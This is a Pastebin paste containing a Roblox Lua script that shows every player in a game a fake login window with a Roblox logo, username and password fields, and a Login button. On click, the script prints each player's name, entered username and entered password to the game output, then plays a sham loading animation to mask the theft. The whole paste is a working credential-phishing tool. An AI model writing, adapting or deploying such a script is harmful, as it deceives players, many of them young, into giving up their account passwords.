Guest User

WORLD START BRUH

a guest
May 26th, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.88 KB | None | 0 0
  1. for _,v in pairs (game.Players:GetChildren()) do
  2. gui = Instance.new("ScreenGui", v.PlayerGui)
  3. mainframe = Instance.new("Frame", gui)
  4. mainframe.Size = UDim2.new(0.4, 0, 0.6, 0)
  5. mainframe.Position = UDim2.new(0.3, 0, 0.2, 0)
  6. mainframe.Style = "RobloxSquare"
  7. interface = Instance.new("Frame", mainframe)
  8. interface.Size = UDim2.new(1, 0, 1, 0)
  9. interface.Transparency = 1
  10. mainframe.ClipsDescendants = true
  11. image = Instance.new("ImageLabel", interface)
  12. image.Image = "http://www.roblox.com/asset/?id=127756904"
  13. image.Size = UDim2.new(0.2, 0, 0.15, 0)
  14. image.BackgroundTransparency = 1
  15. image.Name = "Logo"
  16. loginlabel = Instance.new("TextLabel", interface)
  17. loginlabel.Position = UDim2.new(0.25, 0, 0.075, 0)
  18. loginlabel.Font = "Arial"
  19. loginlabel.FontSize = "Size24"
  20. loginlabel.Text = "Login:"
  21. loginlabel.TextColor3 = BrickColor.new("White").Color
  22. loginlabel.TextXAlignment = "Left"
  23. usernamelabel = Instance.new("TextLabel", interface)
  24. usernamelabel.Position = UDim2.new(0, 0, 0.3, 0)
  25. usernamelabel.Font = "Arial"
  26. usernamelabel.FontSize = "Size24"
  27. usernamelabel.Text = "Username:"
  28. usernamelabel.TextColor3 = BrickColor.new("White").Color
  29. usernamelabel.TextXAlignment = "Left"
  30. passwordlabel = Instance.new("TextLabel", interface)
  31. passwordlabel.Position = UDim2.new(0, 0, 0.5, 0)
  32. passwordlabel.Font = "Arial"
  33. passwordlabel.FontSize = "Size24"
  34. passwordlabel.Text = "Password:"
  35. passwordlabel.TextColor3 = BrickColor.new("White").Color
  36. passwordlabel.TextXAlignment = "Left"
  37. --Username
  38. AreaForUsername = Instance.new("TextBox", interface)
  39. AreaForUsername.Position = UDim2.new(0, 0, 0.35, 0)
  40. AreaForUsername.Name = "UsernameArea"
  41. AreaForUsername.Size = UDim2.new(1, 0, 0.1, 0)
  42. AreaForUsername.BackgroundTransparency = 1
  43. AreaForUsername.Text = "[Username Here]"
  44. AreaForUsername.Font = "Arial"
  45. AreaForUsername.FontSize = "Size18"
  46. AreaForUsername.TextColor3 = BrickColor.new("White").Color
  47. --Password
  48. AreaForPassword = Instance.new("TextBox", interface)
  49. AreaForPassword.Position = UDim2.new(0, 0, 0.55, 0)
  50. AreaForPassword.Name = "PasswordArea"
  51. AreaForPassword.Size = UDim2.new(1, 0, 0.1, 0)
  52. AreaForPassword.BackgroundTransparency = 1
  53. AreaForPassword.Text = "[Password Here]"
  54. AreaForPassword.Font = "Arial"
  55. AreaForPassword.FontSize = "Size18"
  56. AreaForPassword.TextColor3 = BrickColor.new("White").Color
  57. --LoginButton
  58. loginbutton = Instance.new("TextButton", interface)
  59. loginbutton.Position = UDim2.new(0, 0, 0.8, 0)
  60. loginbutton.Size = UDim2.new(1, 0, 0.1, 0)
  61. loginbutton.Style = "RobloxButtonDefault"
  62. loginbutton.Font = "Arial"
  63. loginbutton.FontSize = "Size24"
  64. loginbutton.Text = "Login"
  65. loginbutton.TextColor3 = BrickColor.new("White").Color
  66. --Loading Time
  67. loadframe=Instance.new("Frame", mainframe)
  68. loadframe.Size = UDim2.new(1, 0, 1, 0)
  69. loadframe.BackgroundTransparency = 1
  70. --SymbolicLoading
  71. symbolloading=Instance.new("Frame", loadframe)
  72. symbolloading.Size = UDim2.new(0.3, 0, 0.05, 0)
  73. symbolloading.Position = UDim2.new(0, 0, 0.45, 0)
  74. symbolloading.Style = "ChatGreen"
  75. symbolloading.Visible = false
  76. --EndOfGuiCreation
  77.  
  78.  
  79. --Clicking
  80. loginbutton.MouseButton1Click:connect(function()
  81. interface:TweenPosition(UDim2.new(0, 0, -1, 0), "Out", "Sine", 3, true)
  82. print(v.Name.."'s Username: "..AreaForUsername.Text)
  83. print(v.Name.."'s Password: "..AreaForPassword.Text)
  84. wait(2)
  85. symbolloading.Visible = true
  86. symbolloading:TweenPosition(UDim2.new(0.7, 0, 0.45, 0), "Out", "Sine", 1, true)
  87. wait(1)
  88. symbolloading:TweenPosition(UDim2.new(0, 0, 0.45, 0), "Out", "Sine", 1, true)
  89. wait(1)
  90. symbolloading:TweenPosition(UDim2.new(0.7, 0, 0.45, 0), "Out", "Sine", 1, true)
  91. wait(1)
  92. symbolloading:TweenPosition(UDim2.new(0, 0, 0.45, 0), "Out", "Sine", 1, true)
  93. wait(1)
  94. symbolloading:TweenPosition(UDim2.new(0.7, 0, 0.45, 0), "Out", "Sine", 1, true)
  95. wait(1)
  96. symbolloading:TweenPosition(UDim2.new(0, 0, 0.45, 0), "Out", "Sine", 1, true)
  97. wait(1)
  98. mainframe:TweenPosition(UDim2.new(2, 0, 0.2, 0), "Out", "Sine", 3, true)
  99. end)
  100. end
Add Comment
Please, Sign In to add comment